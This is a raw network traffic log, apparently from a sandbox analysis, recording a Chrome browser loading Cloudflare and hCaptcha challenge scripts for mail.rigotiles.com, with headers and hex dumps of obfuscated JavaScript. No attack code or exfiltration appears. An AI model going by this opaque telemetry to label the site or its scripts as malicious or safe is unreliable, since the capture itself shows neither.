eM[(ha(1166))](),!B)return;C=ha(932),B[ha(237)](C,o,!![]),B[ha(380)]=2500,B[ha(925)]=function(){},B[ha(625)](ha(1680),ha(472)),D={},D[ha(1462)]=g,D[ha(302)]=l,D.cc=h,D[ha(959)]=m,D[ha(1
2024-10-31 20:54:53 UTC	1369	IN	Data Raw: 73 65 7b 66 6f 72 28 76 3d 5b 5d 2c 78 3d 30 3b 78 3c 38 2a 78 5b 68 65 28 32 38 35 29 5d 3b 76 5b 6b 5b 68 65 28 31 32 36 39 29 5d 28 78 2c 35 29 5d 7c 3d 6b 5b 68 65 28 31 35 31 37 29 5d 28 66 5b 68 65 28 31 35 38 30 29 5d 28 6b 5b 68 65 28 35 30 37 29 5d 28 78 2c 38 29 29 2c 32 35 35 29 3c 3c 32 34 2d 6b 5b 68 65 28 37 31 30 29 5d 28 78 2c 33 32 29 2c 78 2b 3d 38 29 3b 72 65 74 75 72 6e 20 76 7d 7d 65 6c 73 65 20 6e 3d 7b 7d 2c 6e 5b 68 65 28 33 30 31 29 5d 3d 65 2c 6e 5b 68 65 28 39 33 30 29 5d 3d 66 2c 6e 5b 68 65 28 35 33 32 29 5d 3d 67 2c 6e 5b 68 65 28 37 39 35 29 5d 3d 68 2c 6e 5b 68 65 28 36 35 38 29 5d 3d 69 2c 6f 3d 6e 2c 65 4d 5b 68 65 28 31 33 38 35 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 67 29 7b 68 67 3d 68 65 2c 65 4d 5b 68 67 28 33 32 32 Data Ascii: se{for(v=[],x=0;x<8*x[he(285)];v[k[he(1269)](x,5)]\|=k[he(1517)](f[he(1580)](k[he(507)](x,8)),255)<<24-k[he(710)](x,32),x+=8);return v}}else n={},n[he(301)]=e,n[he(930)]=f,n[he(532)]=g,n[he(795)]=h,n[he(658)]=i,o=n,eM[he(1385)](function(hg){hg=he,eM[hg(322

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49733	104.18.94.41	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:52 UTC	742	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/qh7j5/0x4AAAAAAAyr4qst3s0poVsP/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:53 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:54:52 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8db68af52a8fe922-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:54:53 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49734	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:53 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-31 20:54:53 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=157906 Date: Thu, 31 Oct 2024 20:54:53 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-31 20:54:53 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49735	104.19.230.21	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:53 UTC	641	OUT	GET /c/0d69d1a359119bd0e2c5ca7f11f300ac050517fd19b612f86c0c75a2b0b39cbe/hsw.js HTTP/1.1 Host: newassets.hcaptcha.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://newassets.hcaptcha.com/captcha/v1/05c78a4/static/hcaptcha.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:53 UTC	462	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:54:53 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close etag: W/"d490ba95de99d7c025179f7883fed554" Cache-Control: max-age=3024000 vary: Accept-Encoding vary: Origin alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8db68af99b694774-DFW
2024-10-31 20:54:53 UTC	907	IN	Data Raw: 37 64 63 36 0d 0a 76 61 72 20 68 73 77 3d 66 75 6e 63 74 69 6f 6e 20 66 63 42 79 4c 43 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 41 28 41 2c 51 2c 42 29 7b 72 65 74 75 72 6e 20 51 3c 3d 41 26 26 41 3c 3d 42 7d 66 75 6e 63 74 69 6f 6e 20 51 28 41 29 7b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 41 29 72 65 74 75 72 6e 7b 7d 3b 69 66 28 41 3d 3d 3d 4f 62 6a 65 63 74 28 41 29 29 72 65 74 75 72 6e 20 41 3b 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 6f 75 6c 64 20 6e 6f 74 20 63 6f 6e 76 65 72 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 64 69 63 74 69 6f 6e 61 72 79 22 29 7d 76 61 72 20 42 3d 66 75 6e 63 74 69 6f 6e 28 41 29 7b 72 65 74 75 72 6e 20 41 3e 3d 30 26 26 41 3c 3d 31 32 37 7d 2c 45 3d 2d 31 3b 66 75 6e 63 74 69 6f Data Ascii: 7dc6var hsw=function fcByLC(){"use strict";function A(A,Q,B){return Q<=A&&A<=B}function Q(A){if(void 0===A)return{};if(A===Object(A))return A;throw TypeError("Could not convert argument to dictionary")}var B=function(A){return A>=0&&A<=127},E=-1;functio
2024-10-31 20:54:53 UTC	1369	IN	Data Raw: 22 2c 22 75 74 66 2d 38 22 2c 22 75 74 66 38 22 5d 2c 6e 61 6d 65 3a 22 55 54 46 2d 38 22 7d 5d 2c 68 65 61 64 69 6e 67 3a 22 54 68 65 20 45 6e 63 6f 64 69 6e 67 22 7d 5d 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 41 29 7b 41 2e 65 6e 63 6f 64 69 6e 67 73 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 41 29 7b 41 2e 6c 61 62 65 6c 73 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 51 29 7b 77 5b 51 5d 3d 41 7d 29 29 7d 29 29 7d 29 29 3b 76 61 72 20 69 2c 6b 2c 68 3d 7b 22 55 54 46 2d 38 22 3a 66 75 6e 63 74 69 6f 6e 28 41 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 48 28 41 29 7d 7d 2c 4d 3d 7b 22 55 54 46 2d 38 22 3a 66 75 6e 63 74 69 6f 6e 28 41 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 73 28 41 29 7d 7d 2c 4a 3d 22 75 74 66 2d Data Ascii: ","utf-8","utf8"],name:"UTF-8"}],heading:"The Encoding"}].forEach((function(A){A.encodings.forEach((function(A){A.labels.forEach((function(Q){w[Q]=A}))}))}));var i,k,h={"UTF-8":function(A){return new H(A)}},M={"UTF-8":function(A){return new s(A)}},J="utf-
2024-10-31 20:54:53 UTC	1369	IN	Data Raw: 6f 75 20 66 6f 72 67 65 74 20 74 6f 20 69 6e 63 6c 75 64 65 20 65 6e 63 6f 64 69 6e 67 2d 69 6e 64 65 78 65 73 2e 6a 73 20 66 69 72 73 74 3f 22 29 3b 45 2e 5f 65 6e 63 6f 64 69 6e 67 3d 49 7d 65 6c 73 65 20 45 2e 5f 65 6e 63 6f 64 69 6e 67 3d 44 28 22 75 74 66 2d 38 22 29 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 7c 7c 28 74 68 69 73 2e 65 6e 63 6f 64 69 6e 67 3d 45 2e 5f 65 6e 63 6f 64 69 6e 67 2e 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 2c 45 7d 66 75 6e 63 74 69 6f 6e 20 73 28 51 29 7b 76 61 72 20 42 3d 51 2e 66 61 74 61 6c 2c 49 3d 30 2c 44 3d 30 2c 77 3d 30 2c 69 3d 31 32 38 2c 6b 3d 31 39 31 3b 74 68 69 73 2e 68 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 51 2c 68 29 7b 69 66 28 68 3d Data Ascii: ou forget to include encoding-indexes.js first?");E._encoding=I}else E._encoding=D("utf-8");return Object.defineProperty\|\|(this.encoding=E._encoding.name.toLowerCase()),E}function s(Q){var B=Q.fatal,I=0,D=0,w=0,i=128,k=191;this.handler=function(Q,h){if(h=
2024-10-31 20:54:53 UTC	1369	IN	Data Raw: 61 6e 63 65 6f 66 20 41 72 72 61 79 42 75 66 66 65 72 3f 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 41 2e 62 75 66 66 65 72 2c 41 2e 62 79 74 65 4f 66 66 73 65 74 2c 41 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 30 29 2c 42 3d 51 28 42 29 2c 74 68 69 73 2e 5f 64 6f 5f 6e 6f 74 5f 66 6c 75 73 68 7c 7c 28 74 68 69 73 2e 5f 64 65 63 6f 64 65 72 3d 4d 5b 74 68 69 73 2e 5f 65 6e 63 6f 64 69 6e 67 2e 6e 61 6d 65 5d 28 7b 66 61 74 61 6c 3a 22 66 61 74 61 6c 22 3d 3d 3d 74 68 69 73 2e 5f 65 72 72 6f 72 5f 6d 6f 64 65 7d 29 2c 74 68 69 73 2e 5f 42 4f 4d 73 65 65 6e 3d 21 31 29 2c 74 68 69 73 2e 5f 64 6f 5f 6e 6f 74 5f 66 6c 75 73 68 3d 42 6f 6f 6c 65 61 6e 28 42 2e 73 74 72 65 61 6d 29 3b 66 6f 72 28 76 61 72 20 44 2c 77 Data Ascii: anceof ArrayBuffer?new Uint8Array(A.buffer,A.byteOffset,A.byteLength):new Uint8Array(0),B=Q(B),this._do_not_flush\|\|(this._decoder=M[this._encoding.name]({fatal:"fatal"===this._error_mode}),this._BOMseen=!1),this._do_not_flush=Boolean(B.stream);for(var D,w
2024-10-31 20:54:53 UTC	1369	IN	Data Raw: 65 6e 67 74 68 2c 45 3d 30 2c 49 3d 5b 5d 3b 45 3c 42 3b 29 7b 76 61 72 20 43 3d 51 2e 63 68 61 72 43 6f 64 65 41 74 28 45 29 3b 69 66 28 43 3c 35 35 32 39 36 7c 7c 43 3e 35 37 33 34 33 29 49 2e 70 75 73 68 28 43 29 3b 65 6c 73 65 20 69 66 28 43 3e 3d 35 36 33 32 30 26 26 43 3c 3d 35 37 33 34 33 29 49 2e 70 75 73 68 28 36 35 35 33 33 29 3b 65 6c 73 65 20 69 66 28 43 3e 3d 35 35 32 39 36 26 26 43 3c 3d 35 36 33 31 39 29 69 66 28 45 3d 3d 3d 42 2d 31 29 49 2e 70 75 73 68 28 36 35 35 33 33 29 3b 65 6c 73 65 7b 76 61 72 20 67 3d 51 2e 63 68 61 72 43 6f 64 65 41 74 28 45 2b 31 29 3b 69 66 28 67 3e 3d 35 36 33 32 30 26 26 67 3c 3d 35 37 33 34 33 29 7b 76 61 72 20 44 3d 31 30 32 33 26 43 2c 77 3d 31 30 32 33 26 67 3b 49 2e 70 75 73 68 28 36 35 35 33 36 2b 28 44 Data Ascii: ength,E=0,I=[];E<B;){var C=Q.charCodeAt(E);if(C<55296\|\|C>57343)I.push(C);else if(C>=56320&&C<=57343)I.push(65533);else if(C>=55296&&C<=56319)if(E===B-1)I.push(65533);else{var g=Q.charCodeAt(E+1);if(g>=56320&&g<=57343){var D=1023&C,w=1023&g;I.push(65536+(D
2024-10-31 20:54:53 UTC	1369	IN	Data Raw: 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 46 61 69 6c 65 64 20 74 6f 20 65 78 65 63 75 74 65 20 27 61 74 6f 62 27 20 6f 6e 20 27 57 69 6e 64 6f 77 27 3a 20 54 68 65 20 73 74 72 69 6e 67 20 74 6f 20 62 65 20 64 65 63 6f 64 65 64 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 6c 79 20 65 6e 63 6f 64 65 64 2e 22 29 3b 76 61 72 20 51 2c 42 2c 45 3b 41 2b 3d 22 3d 3d 22 2e 73 6c 69 63 65 28 32 2d 28 33 26 41 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 76 61 72 20 49 3d 22 22 2c 43 3d 30 3b 43 3c 41 2e 6c 65 6e 67 74 68 3b 29 51 3d 69 2e 69 6e 64 65 78 4f 66 28 41 2e 63 68 61 72 41 74 28 43 2b 2b 29 29 3c 3c 31 38 7c 69 2e 69 6e 64 65 78 4f 66 28 41 2e 63 68 61 72 41 74 28 43 2b 2b 29 29 3c 3c 31 32 7c 28 42 3d 69 2e 69 6e 64 65 78 4f 66 28 41 Data Ascii: throw new TypeError("Failed to execute 'atob' on 'Window': The string to be decoded is not correctly encoded.");var Q,B,E;A+="==".slice(2-(3&A.length));for(var I="",C=0;C<A.length;)Q=i.indexOf(A.charAt(C++))<<18\|i.indexOf(A.charAt(C++))<<12\|(B=i.indexOf(A
2024-10-31 20:54:53 UTC	1369	IN	Data Raw: 28 41 29 7b 76 61 72 20 51 3d 71 51 3b 74 72 79 7b 68 28 45 5b 51 28 33 30 35 29 5d 28 41 29 29 7d 63 61 74 63 68 28 41 29 7b 67 28 41 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 68 28 41 29 7b 76 61 72 20 51 2c 45 3d 71 51 3b 41 5b 45 28 44 2e 5f 30 78 35 63 35 32 65 65 29 5d 3f 43 28 41 5b 45 28 44 2e 5f 30 78 35 63 36 31 66 38 29 5d 29 3a 28 51 3d 41 5b 45 28 33 37 32 29 5d 2c 51 20 69 6e 73 74 61 6e 63 65 6f 66 20 42 3f 51 3a 6e 65 77 20 42 28 28 66 75 6e 63 74 69 6f 6e 28 41 29 7b 41 28 51 29 7d 29 29 29 5b 45 28 44 2e 5f 30 78 34 61 63 63 64 36 29 5d 28 69 2c 6b 29 7d 68 28 28 45 3d 45 5b 77 28 49 29 5d 28 41 2c 51 7c 7c 5b 5d 29 29 5b 77 28 36 36 33 29 5d 28 29 29 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 41 2c 51 29 7b 76 61 72 20 42 2c 45 2c 49 2c 43 Data Ascii: (A){var Q=qQ;try{h(E[Q(305)](A))}catch(A){g(A)}}function h(A){var Q,E=qQ;A[E(D._0x5c52ee)]?C(A[E(D._0x5c61f8)]):(Q=A[E(372)],Q instanceof B?Q:new B((function(A){A(Q)})))[E(D._0x4accd6)](i,k)}h((E=E[w(I)](A,Q\|\|[]))[w(663)]())}))}function F(A,Q){var B,E,I,C
2024-10-31 20:54:53 UTC	1369	IN	Data Raw: 5d 28 29 2c 6b 5b 74 28 37 32 37 29 5d 5b 74 28 34 37 38 29 5d 28 29 3b 63 6f 6e 74 69 6e 75 65 7d 43 3d 51 5b 74 28 63 29 5d 28 41 2c 6b 29 7d 63 61 74 63 68 28 41 29 7b 43 3d 5b 36 2c 41 5d 2c 45 3d 30 7d 66 69 6e 61 6c 6c 79 7b 42 3d 49 3d 30 7d 69 66 28 35 26 43 5b 30 5d 29 74 68 72 6f 77 20 43 5b 31 5d 3b 76 61 72 20 52 3d 7b 7d 3b 72 65 74 75 72 6e 20 52 2e 76 61 6c 75 65 3d 43 5b 30 5d 3f 43 5b 31 5d 3a 76 6f 69 64 20 30 2c 52 5b 74 28 4c 29 5d 3d 21 30 2c 52 7d 28 5b 43 2c 74 5d 29 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 52 28 41 2c 51 2c 42 29 7b 76 61 72 20 45 3d 37 38 32 2c 49 3d 34 32 35 2c 43 3d 34 33 35 2c 67 3d 71 51 3b 69 66 28 42 7c 7c 32 3d 3d 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 66 6f 72 28 76 61 72 20 44 2c 77 3d 30 2c 69 Data Ascii: ](),k[t(727)][t(478)]();continue}C=Q[t(c)](A,k)}catch(A){C=[6,A],E=0}finally{B=I=0}if(5&C[0])throw C[1];var R={};return R.value=C[0]?C[1]:void 0,R[t(L)]=!0,R}([C,t])}}}function R(A,Q,B){var E=782,I=425,C=435,g=qQ;if(B\|\|2===arguments.length)for(var D,w=0,i
2024-10-31 20:54:53 UTC	1369	IN	Data Raw: 37 36 37 29 5d 29 2c 75 3d 4c 28 35 38 34 29 69 6e 20 77 69 6e 64 6f 77 2c 7a 3d 77 69 6e 64 6f 77 5b 4c 28 37 32 33 29 5d 3e 31 2c 76 3d 4d 61 74 68 5b 4c 28 37 30 30 29 5d 28 6e 75 6c 6c 3d 3d 3d 28 72 3d 77 69 6e 64 6f 77 5b 4c 28 32 38 34 29 5d 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 72 3f 76 6f 69 64 20 30 3a 72 5b 4c 28 34 34 39 29 5d 2c 6e 75 6c 6c 3d 3d 3d 28 6e 3d 77 69 6e 64 6f 77 2e 73 63 72 65 65 6e 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6e 3f 76 6f 69 64 20 30 3a 6e 5b 4c 28 34 35 39 29 5d 29 2c 62 3d 6e 61 76 69 67 61 74 6f 72 2e 6d 61 78 54 6f 75 63 68 50 6f 69 6e 74 73 2c 70 3d 6e 61 76 69 67 61 74 6f 72 5b 4c 28 35 39 31 29 5d 2c 56 3d 22 70 6c 75 67 69 6e 73 22 69 6e 20 6e 61 76 69 67 61 74 6f 72 26 26 30 3d 3d 3d 28 6e 75 6c 6c 3d 3d 3d 28 50 Data Ascii: 767)]),u=L(584)in window,z=window[L(723)]>1,v=Math[L(700)](null===(r=window[L(284)])\|\|void 0===r?void 0:r[L(449)],null===(n=window.screen)\|\|void 0===n?void 0:n[L(459)]),b=navigator.maxTouchPoints,p=navigator[L(591)],V="plugins"in navigator&&0===(null===(P
2024-10-31 20:54:53 UTC	1369	IN	Data Raw: 5f 28 41 29 29 72 65 74 75 72 6e 20 41 3b 76 61 72 20 77 3d 41 5b 67 28 45 29 5d 3b 69 66 28 30 3d 3d 3d 77 29 72 65 74 75 72 6e 20 41 3b 76 61 72 20 69 3d 4d 61 74 68 5b 67 28 49 29 5d 28 24 28 51 2b 42 29 2a 77 29 3b 69 66 28 44 29 7b 66 6f 72 28 76 61 72 20 6b 3d 41 5b 69 5d 2c 68 3d 53 74 72 69 6e 67 5b 67 28 34 39 37 29 5d 28 6b 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 2b 51 29 2c 4d 3d 22 22 2c 4a 3d 30 3b 4a 3c 77 3b 4a 2b 3d 31 29 4d 2b 3d 4a 3d 3d 3d 69 3f 68 3a 41 5b 4a 5d 3b 72 65 74 75 72 6e 20 4d 7d 76 61 72 20 79 3d 6e 65 77 20 41 72 72 61 79 28 77 29 3b 66 6f 72 28 4a 3d 30 3b 4a 3c 77 3b 4a 2b 3d 31 29 79 5b 4a 5d 3d 41 5b 4a 5d 3b 72 65 74 75 72 6e 20 79 5b 69 5d 3d 41 41 28 4a 53 4f 4e 5b 67 28 43 29 5d 28 41 5b 69 5d 29 2c 51 2c 42 29 Data Ascii: _(A))return A;var w=A[g(E)];if(0===w)return A;var i=Math[g(I)]($(Q+B)*w);if(D){for(var k=A[i],h=String[g(497)](k.charCodeAt(0)+Q),M="",J=0;J<w;J+=1)M+=J===i?h:A[J];return M}var y=new Array(w);for(J=0;J<w;J+=1)y[J]=A[J];return y[i]=AA(JSON[g(C)](A[i]),Q,B)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49736	104.19.230.21	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:53 UTC	513	OUT	GET /checksiteconfig?v=05c78a4&host=mail.rigotiles.com&sitekey=234adb2f-52ba-4697-82fa-abecbb14b173&sc=1&swa=1&spst=1 HTTP/1.1 Host: api2.hcaptcha.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cflb=0H28vk2VKwPbLoawFj9ote4RZxB9Q78v8RVsZqVRRd7
2024-10-31 20:54:53 UTC	590	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:54:53 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close access-control-allow-credentials: true access-control-allow-headers: Cache-Control, Content-Type, DNT, Referer, User-Agent access-control-allow-methods: GET, HEAD, POST, OPTIONS access-control-allow-origin: vary: Origin, Accept-Encoding CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8db68af9f819ddb2-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:54:53 UTC	779	IN	Data Raw: 33 30 38 0d 0a 7b 22 66 65 61 74 75 72 65 73 22 3a 7b 22 65 6e 63 5f 67 65 74 5f 72 65 71 22 3a 74 72 75 65 7d 2c 22 63 22 3a 7b 22 74 79 70 65 22 3a 22 68 73 77 22 2c 22 72 65 71 22 3a 22 65 79 4a 30 65 58 41 69 4f 69 4a 4b 56 31 51 69 4c 43 4a 68 62 47 63 69 4f 69 4a 49 55 7a 49 31 4e 69 4a 39 2e 65 79 4a 6d 49 6a 6f 77 4c 43 4a 7a 49 6a 6f 79 4c 43 4a 30 49 6a 6f 69 64 79 49 73 49 6d 51 69 4f 69 49 34 5a 6e 6f 77 56 6c 4e 4d 52 57 45 72 5a 45 4d 78 5a 44 41 79 4e 6d 56 59 55 46 4a 56 62 56 70 47 62 6e 46 34 57 44 4a 61 4f 54 64 5a 5a 32 35 61 4e 56 63 33 4d 30 56 4a 61 44 5a 78 4c 7a 55 79 4b 30 73 30 65 45 52 4c 5a 57 4e 43 53 6c 64 49 53 32 55 32 5a 6d 4e 42 4d 6b 6c 73 57 57 56 4f 4e 6d 70 43 65 57 52 78 59 32 6c 31 55 32 6b 31 5a 32 78 42 51 6b 46 Data Ascii: 308{"features":{"enc_get_req":true},"c":{"type":"hsw","req":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmIjowLCJzIjoyLCJ0IjoidyIsImQiOiI4ZnowVlNMRWErZEMxZDAyNmVYUFJVbVpGbnF4WDJaOTdZZ25aNVc3M0VJaDZxLzUyK0s0eERLZWNCSldIS2U2ZmNBMklsWWVONmpCeWRxY2l1U2k1Z2xBQkF
2024-10-31 20:54:53 UTC	4	IN	Data Raw: 65 7d 0d 0a Data Ascii: e}
2024-10-31 20:54:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49737	104.18.95.41	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:53 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:53 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:54:53 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8db68afa1ad9479c-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:54:53 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49738	104.18.95.41	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:54 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8db68aefa9dee71a&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:54 UTC	331	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:54:54 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 118253 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8db68afc49c8474f-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:54:54 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 48 50 55 62 6a 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.HPUbj2={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.terms":"https%3A%2
